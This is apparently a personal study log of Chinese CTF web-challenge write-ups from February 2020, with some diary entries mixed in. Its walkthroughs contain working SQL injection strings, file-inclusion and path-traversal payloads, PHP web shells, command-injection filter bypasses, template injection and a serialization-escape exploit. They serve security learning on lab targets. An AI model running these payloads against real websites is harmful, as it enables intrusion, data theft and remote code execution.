一段时间的学习记录

2020/2/4

[HCTF 2018]WarmUp

打开页面只有一个笑脸 查看源代码 访问source.php

然后开始代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

先来看checkFile函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单中提示有个hint.php
if (! isset($page) || !is_string($page)) { //如果$page不存在或者不是字符串则返回false
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) { //拿$page与白名单去匹配若匹配成功则返回true
return true;
}

$_page = mb_substr( //取出$page中?前面的内容赋值给$_page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //拿$_page与白名单匹配,若匹配成功则返回true
return true;
}

$_page = urldecode($page); //把$page解码后赋值给$_page
$_page = mb_substr( //取出$_page中?前面的内容赋值给$_page
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //拿$_page与白名单匹配,若匹配成功则返回true
return true;
}
echo "you can't see it";
return false;
}

再来看看下面的语句

1
2
3
4
5
6
7
8
9
10
 if (! empty($_REQUEST['file']) //传入file参数
&& is_string($_REQUEST['file']) //确保file参数中是字符串
&& emmm::checkFile($_REQUEST['file']) //对file用checkFile函数检查是否符合条件
) {
include $_REQUEST['file']; //包含file参数
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

去看一下hint.php,得到了flag文件名称

1
flag not here, and flag in ffffllllaaaagggg

思路大概是这样的 先绕过checkFile函数,然后让file被包含,file可以是读flag的语句

首先确保$page是在白名单并且是字符

后面的三个if条件满足其一即可返回true并结束函数

经过本地实验:检测的时候是检测 ?之前的

包含的时候是包含 ?之后的

payload:file=source.php?../../../../../ffffllllaaaagggg

直接满足第一个if条件

1
2
3
if (in_array($page, $whitelist)) {
return true;
}

得到flag

ps:这里是phpMyAdmin的一个洞CVE-2018-12613

[强网杯 2019]随便注

百度堆叠注入:

堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

看到url参数为?inject=1猜测是注入题目

输入1‘报错

输入1’#回显正常

1’ order by 1# 正常

1’ order by 2# 正常

1’ order by 3# 报错 只有两个字段

1’ union select 1,2;# 提示过滤了select,update,delete,drop,insert,where .

1’;show databases;# 成功回显

1’; show tables;# 成功回显

当前数据库下 有words1919810931114514 两个表

1’ ; show columns from words # 成功回显

1’ ; show columns from 1919810931114514 # 无回显

1’ ; show columns from 1919810931114514 # 有回显

看了看师傅们的wp:

1
2
3
4
5
6
7
linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;

反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;

image-20200204154632002.png

concat(char(115,101,108,101,99,116)," * from `1919810931114514`"); 拼接出sql语句

SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`"); 存储sql语句

PREPARE ling from @sql; 预定义SQL语句

EXECUTE ling; 执行预定义SQL语句

?inject=';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE ling from @sql;EXECUTE ling;#

得到flag

三种思路: https://www.jianshu.com/p/36f0772f5ce8

alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not null;

2020/2/5

[护网杯 2018]easy_tornado

百度了是模板注入

构造payload获取cookie_secret

1
/error?msg={{handler.settings}}
1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '0791228c-a622-4d22-9ad2-2f1740a1bce0'}

cookie_secret:’0791228c-a622-4d22-9ad2-2f1740a1bce0’

filename: /fllllllllllllag

1
md5(cookie_secret+md5(filename))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import hashlib


def md5(a):
md5 = hashlib.md5()
md5.update(a.encode())
return md5.hexdigest()

cookie_secret = '0791228c-a622-4d22-9ad2-2f1740a1bce0'

filename = '/fllllllllllllag '


a = md5( cookie_secret + md5(filename))

print(a)

http://5458c2d2-a353-4909-b7a6-6d3edac1ea9e.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=0e98523cfbea442f437717a5e27b73b4

得到flag

主要考察的还是对模板的了解

[SUCTF 2019]EasySQL

输入常见的sql语句回显nonono,应该是过滤了

输入

1 ‘# 无回显

1# 回显正常

推测是整型注入

因为昨天刚做了堆叠注入

输入 1;show databases;# 看到了表名

输入1;show tables;# 看到只有一个flag表

一、涉及知识点

源码:

1
select $_GET['query'] || flag from flag

解法一:

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

相当于select 1,flag from Flag

解法二:

1
*,1

相当于select *,1||flag from Flag 取得全部数据

2020/2/6

[RoarCTF 2019]Easy Calc

右键源代码看到了有个calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

是对num参数进行过滤,然后执行

先过waf,再让php去解析

%20num 会绕过waf对num的检测 因为检测的名称不一样

php解析的时候又会去掉%20空格,解析num

1
查看目录payload:? num=1;var_dump(scandir(chr(47)))
1
2
查看flagpayload:
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[SUCTF 2019]CheckIn

上传新姿势

因为会判断上传的文件的类型

可以加上相应的头字绕过:

  • JPG :FF D8 FF E0 00 10 4A 46 49 46
  • GIF(相当于文本的GIF89a):47 49 46 38 39 61
  • PNG: 89 50 4E 47

考点 :.user.ini[https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html]

auto_prepend_file=ling.jpg

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

过滤了<?符号

1
2
GIF89a
<script language='php'>phpinfo();@eval($_POST['a']);</script>

那么当我们访问此目录下的任何一个文件时,都会去包含test.jpg

2020/2/7

[极客大挑战 2019]Havefun

打开页面,右键查看源代码

1
2
3
4
5
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

传参:?cat=dog

出现flag

[极客大挑战 2019]Secret File

全选页面,发现隐藏的超链接

点进去再点secret中间会有一个跳转

抓包可以知道是action.php的跳转

burp访问可以看到源码

访问secr3t.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

利用pjp伪协议读取flag

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

2020/2/8

[GXYCTF2019]禁止套娃

无参数RCE 参考链接

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

打开什么都没有,通过git泄露扫描工具得到index源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

可以传参,但是对输入进行了严格的过滤,如果通过检测,就可以被eval执行。

过滤了几个常见的伪协议,不能通过伪协议读取文件

preg_replace函数中的正则匹配是无参数函数的校验

其只允许执行如下格式函数

1
2
3
a(b(c()));

a();

current() 返回数组中的当前单元, 默认取第一个值。

localeconv() 函数返回一包含本地数字及货币格式信息的数组

pos() current() 的别名

这里还有一个知识点:

current(localeconv())永远都是个点

?exp=print_r(localeconv());

image-20200208125942784.png

?exp=print_r(current(localeconv()));

这样会返回一个 .

1
print_r(scandir(current(localeconv())));=========print_r(scandir(pos(localeconv())));======================print_r(scandir('.'));

image-20200208130519921.png

我们现在需要读出数组中倒数第二个内容 即flag.php

首先想到的是通过随机函数来读 array_rand()

从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。 它使用了伪随机数产生算法,所以不适合密码学场景,

但是array_rand只能读出键

所以想办法把键值对互换

array_flip()交换数组的键和值

?exp=print_r(array_flip(scandir(current(localeconv()))));

image-20200208132042379.png

键值对交换完毕再用array_rand()随机读取

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

image-20200208132134616.png

刷新几次就能读出名字

配合readfile等函数读出flag

1
?exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));
1
?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
1
?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

百分百读出flag

1
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
1
?exp=show_source(session_id(session_start()));

image-20200208132850316.png

[GXYCTF2019]BabySQli

1
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

输入密码错误,查看源代码发现一串密文

base32解密然后base64解密

1
select * from user where username = '$name'

发现有三个字段

1
admin' union select '1','2','3';#

猜测是 id username password

这里考察的是对md5检验的绕过

由于只检验了md5(password),那么我们利用union select构造返回任意值

密码是1 password字段是1的md5

1
2
3
账号:-1' union select '1','admin' ,'c4ca4238a0b923820dcc509a6f75849b';#

密码:1

这样就能通过检测

2020/2/9

[GXYCTF2019]Ping Ping Ping

绕过空格的方法大概有以下几种:

1
2
3
4
5
6
7
8
9
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
%0a
1
linux命令中可以加\,所以甚至可以ca\t /fl\ag
1
?ip=127.0.0.1;cat$IFS$9`ls`  #将反引号内命令的输出作为输入执行

命令执行变量拼接

1
/?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php

参考链接:https://www.cnblogs.com/wangtanzhi/p/12246386.html

此题不行的做法

1
2
3
4
1.cat fl* 利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl''ag.php 不行

[极客大挑战 2019]Http

今天打完awd,健完身实在累的不行了,但是必须每天刷两道,只能先刷个比较水的了

查源代码发现有个Secret.php,访问提示你不是来自这个网站

1
It doesn't come from 'https://www.Sycsecret.com'

构造

1
2
3
4
5
referer:https://www.Sycsecret.com

User-Agent:Syclover

X-Forwarded-For:127.0.0.1

得到flag

2020/2/10

[极客大挑战 2019]LoveSQL

直接万能密码登录

1
2
username: admin' or 1=1#
password: x

进去之后可以用username进行字符型的注入

password随便填

通过order by查询发现有三个字段

1
?username=1' order by 3--+%23&password=1

发现第二位上是username 第三位上是password

1
?username=1' union select  1,2,3 --+%23&password=1

查询数据库

1
?username=1' union select  1,2,group_concat(schema_name) from information_schema.schemata--+%23&password=1

查询当前数据库的表名

1
?username=1' union select  1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+%23&password=1

回显

1
2
3
Hello 2!

Your password is 'geekuser,l0ve1ysq1'

查询列名

1
?username=1' union select  1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'--+%23&password=1

回显

1
2
3
Hello 2!

Your password is 'id,username,password'

查询内容

1
?username=1' union select  1,2,group_concat(id,username,password) from l0ve1ysq1--+%23&password=1

得到flag

[极客大挑战 2019]Upload

上传个常规的一句话木马提示

1
Not image!

在文件头部加上GIF89a进行绕过还是不行

burpsuite启动

改了下

1
Content-Type: image/jpeg

回显

1
NOT!php!

换换后缀名试试

php php3 php4 php5 phtm phtml

一直试到phtml后缀

1
NO! HACKER! your file included '&#x3C;&#x3F;

文件中包含这些字符还不行

html解码一下得知是

1
<?

使用js语言去解释php

1
<script language="php">@eval($_POST[a]);</script>

post传参

1
a=system('cat /flag');

得到flag

2020/2/11

[极客大挑战 2019]Knife

手动post不行,只能用蚁剑连接,在根目录找到flag

[极客大挑战 2019]EasySQL

直接万能密码登录

1
2
username: admin' or 1=1#
password: x

得到flag

2020/2/12

[安洵杯 2019]easy_web

打开网页看到url中img是一段base64编码 base64解密两次后再hex解码是555.jpg

1
TXpVek5UTTFNbVUzTURabE5qYz0->MzUzNTM1MmU3MDZlNjc=->3535352e706e67->555.png

把index.phphex加密后 base64在加密两次传上去

1
index.php->696e6465782e706870->Njk2ZTY0NjU3ODJlNzA2ODcw->TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

在源代码里返回了index.php的base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

php中==的比较的时候会把开头为0e的数值比较为相同

1
==是转换后比较  !==和===  这俩是啥样就是啥样

===则不会相同

这里对传入的值限定了是字符串

md5判断出是===

这样一来既无法用数组绕过,又无法用0e绕过

必须是真正的碰撞

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

又过滤了大部分命令

用\混淆读出flag

1
2
3
cmd=ca\t%20/f\lag
cmd=/bin/c\at%20/flag
cmd=sort%20/flag

[ACTF2020 新生赛]Include

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

直接读出源码 base64解码得到flag

2020/2/13

[ACTF2020 新生赛]Upload

上传题目

一开始前端上传直接被拦住了,于是禁用了js,加了GIF头,还是被拦住了

后来发现是黑名单题目

用.phtml绕过

访问的时候消失了,明白了是竞争上传

开着burpsuite,线程调到1,一直发包

用蚁剑连接,在根目录下得到flag

[ACTF2020 新生赛]Exec

做完这个题之后感觉很罪恶

payload

1
1;cat /flag

2020/2/14

研究ce

2020/2/15

制作了mirror修改器

2020/2/15

学习ce由浅入深

2020/2/17

[BUUCTF 2018]Online

做题的时候都快被自己菜哭了,多亏了树哥的耐心讲解.

原来是因为我没分清楚linux命令行和php命令的echo

1
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

因为源码中的system相当于在shell里执行命令

在linux默认情况下

1
2
3
echo  ''\\'' \<\?php \`cat /flag\` \?\> '\\'''

\ <?php `cat /flag` ?> \\

并不会影响php的解析

做法:

1.把源码拿到本地

2.自己测试输出结果

3.然后本地测试命令或者echo

image-20200217230532145.png

nmap -oG参数可以实现写入木马

经过测试发现

‘shel’这样的格式会绕过转义

1
payload:?host='<?php echo `cat /flag` ?> -oG 3.php '

相当于直接拼接了命令 并没有被转义

测试的时候nmap执行命令不识别\ \

所以构造出来的\必须在后面等待停止

image-20200217225057695.png

image-20200217225111170.png

image-20200217225205287.png

参考:https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day5/files/README.md

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

[ACTF2020 新生赛]BackupFile

题目是备份文件

直接奔着swp bak .git去

1
http://51c3d582-1316-42f0-b07d-9a9501e4843f.node3.buuoj.cn/index.php.bak

index.php可以下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

int传入的key 弱类型比较 str会被转化为123

所以传入key=123就可以了

2020/2/18

没记得做了什么事情

2020/2/19

购买了 Wallpaper Engine ,搞起了动态桌面。

2020/2/20

王者荣耀上到了星耀段位

2020/2/21

[0CTF 2016]piapiapia

这题实在是妙,同时也对我这个菜鸡进行了蹂躏。

首先打开页面,只有登录页面,扫描一下。

扫出一个www.zip

是泄露的源码,大致看了一下

config.php

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

flag应该是在源文件里的

然后把源码都拖到Seay里审计

image-20200221231037274.png

看到第三个可能存在任意文件的读取漏洞,而且上面的语句还有个反序列化

是存在于profile里面的

image-20200221231120812.png

然后就重点关注这个被反序列化的$profile

全局搜索一下,class.php里查到了$profile的发源地,是在show_profile里的返回的对象,这里的 show_profile函数 是user类里的

image-20200221231307941.png

然后就是update.php,这里我们可以上传文件,也就意味着我们可以任意构造

image-20200221232818938.png

这里传进来信息和图片之后,会调用update_profile函数,就是对信息的一个更新和过滤

image-20200221233335706.png

调用filter对违禁字符变成hacker

image-20200221233357885.png

接下来就想办法对base64_encode读取图片那里进行利用

先在本地模拟一下上传文件那里序列化的过程

image-20200221233852945.png

理想结果是这样的,也就是如果能够造出这样的payload,就能够读到config.php

1
a:4:{s:5:"phone";s:11:"12345677777";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";s:5:"nihao";s:5:"photo";s:10:"config.php";}

继续回到上传点

image-20200221234029257.png

phone要求11位 email要求是邮箱的格式 nickname长度不能大于10 photo有size限制

这里利用nickname[]数组形式进行绕过

然后再nickname里构造payload读取config

把nickename内容变成

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere

但是当where被防火墙检测,会变成

1
nickname[]=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker

先在本地测试

image-20200221234511044.png

这里面where一共170位字符串

1
a:4:{s:5:"phone";s:11:"12345677777";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}

变成hacker之后再来本地跑一下

image-20200221234701593.png

hacker一共是204位字符串

1
a:4:{s:5:"phone";s:11:"12345677777";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}

如果我们传入

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

image-20200221234908494.png

这里变成了204位,这里的204位是读到了”;}s:5:”photo”;s:10:”config.php”;}

1
a:4:{s:5:"phone";s:11:"12345677777";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:10:"config.php";}

当where被替换成hacker,204位长度不变,但是读完最后一个hacker便结束了

1
a:4:{s:5:"phone";s:11:"12345677777";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:10:"config.php";}

剩下的;}s:5:”photo”;s:10:”config.php”;}便会被反序列化当作photo的内容,同时后面真正上传的东西被覆盖了

image-20200221235952406.png

传进去之后访问profile.php

base64解码图片链接,看到的就是config.php的内容

https://blog.csdn.net/zz_Caleb/article/details/96777110

1
2
3
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

2020年新春战疫网络安全公益赛

没来得及写

2020/2/22

很饿,同时烦躁无比。

[BJDCTF2020]Mark loves

1
python2 GitHack.py  http://9f97e6fe-6b0d-4029-9788-c2e8e415d7c0.node3.buuoj.cn/.git/

扫描到了git泄露

在index.php里找到了关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //需要传入两个参数绕过
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //如果post没有传flag并且get也没有就输出

exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //如果get和post传入flag参数,传入的内容不能是flag=flag
exit($is);
}



echo "the flag is: ".$flag;

这串语句

1
2
3
foreach($_GET as $x => $y){
$$x = $$y;
}

如果$a=1 $b=2

传入?a=b

就成了这样$x=a $y=b

$$x=$a=1

$$y=$b=2

根据代码分析的逻辑

三个if判断条件,未满足任何一个都会exit一个变量,因为有$$x的存在,我们想办法覆盖变量,然后故意不满足条件让他输出

如果需要利用第一个if

1
2
3
4
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}

想办法让$handsome=$flag

如果传入?handsome=flag&flag=handsome

这里的$x和$y只会遍历第一组参数

第二组flag=handsome只是接收了一个参数 并没有被遍历

这样的话$x=handsome $y=flag

$_GET[‘flag’] === $x =handsome 且$x=handsome!=’flag’

成功输出已经被变量覆盖的$handsome

如果需要利用第二个if

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //get和post之中必须有一个传入flag参数
exit($yds);
}

想办法让$yds=$flag

post无法覆盖

用get覆盖

get传参?yds=flag

post可有可无(因为第一个if没有触发(没有传入flag) 第二个if只要没有flag参数就直接输出yds 与post已经没有关系,当然如果传post不能传flag参数,不然就满足条件绕过了。)

源码里出现了flag

来看看第三个if

1
2
3
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){ //get和post传入的内容不能是flag=flag
exit($is);
}

这样的话就构成了$flag=’flag’ 真正的flag被覆盖

无法完成后面get传输的flag覆盖,因为flag早已经在post里被覆盖

所以无法利用

PS:这个题目因为第一个if的利用折磨了我很久,感谢各位师傅的耐心指导。

[BJDCTF2020]The mystery of ip

依然是漂亮的前端,让我想打杨大树了。

在/flag.php页面里有个ip

然后手动get post ip参数 没有任何变化

改了一下XFF头 发现ip可控

模板注入 加了个命令执行

https://i.loli.net/2020/02/23/xZ82LkdYW3bogyj.png

2020/2/23

[BJDCTF2020]ZJCTF,不过如此

打开之后一串代码映入眼帘,我知道,可能我再也碰不到御剑扫描flag的题目了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

和bugku一个题目很像

让?text=php://input 然后post I have a dream

可以达成第一个if的条件

https://i.loli.net/2020/02/23/qtsmA8U4XfxnEuY.png

然后源码里有个提示是 next.php

我们用伪协议读一下

file=php://filter/read=convert.base64-encode/resource=next.php

base64解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

深入研究preg_replace与代码执行 : https://xz.aliyun.com/t/2557

就是传入的参数名字变成匹配规则 参数内容变成字符串

我们自己定义规则让函数去匹配phpinfo 就会执行函数

简而言之 就是在preg_replace /e模式下 让他去匹配我们自定义的内容

就会RCE

payload:

1
2
/?.*={${phpinfo()}}
\S*=${phpinfo()}

用文章里的payload 然后调用getFlag函数

?\S*=${getFlag()}&cmd=system(‘cat /flag’);

得到flag

https://i.loli.net/2020/02/23/cJ6tzHClmMvyQrD.png

[极客大挑战 2019]BabySQL

对username进行注入 测试后发现

对union select or from where等关键词进行双写可以绕过过滤

1
http://c53de338-33a4-4811-8e6b-32b8756f0186.node3.buuoj.cn/check.php?username=admin'+uunionnion+selselectect+1,2,3--+&password=admin

不过很显然username可以绕过登录,但是没有什么用

接下来注入passowrd

1
http://c53de338-33a4-4811-8e6b-32b8756f0186.node3.buuoj.cn/check.php?username=admin&password=111111'+ununionion+sselectelect+1,2,3--+

看到了2和3回显位置

1
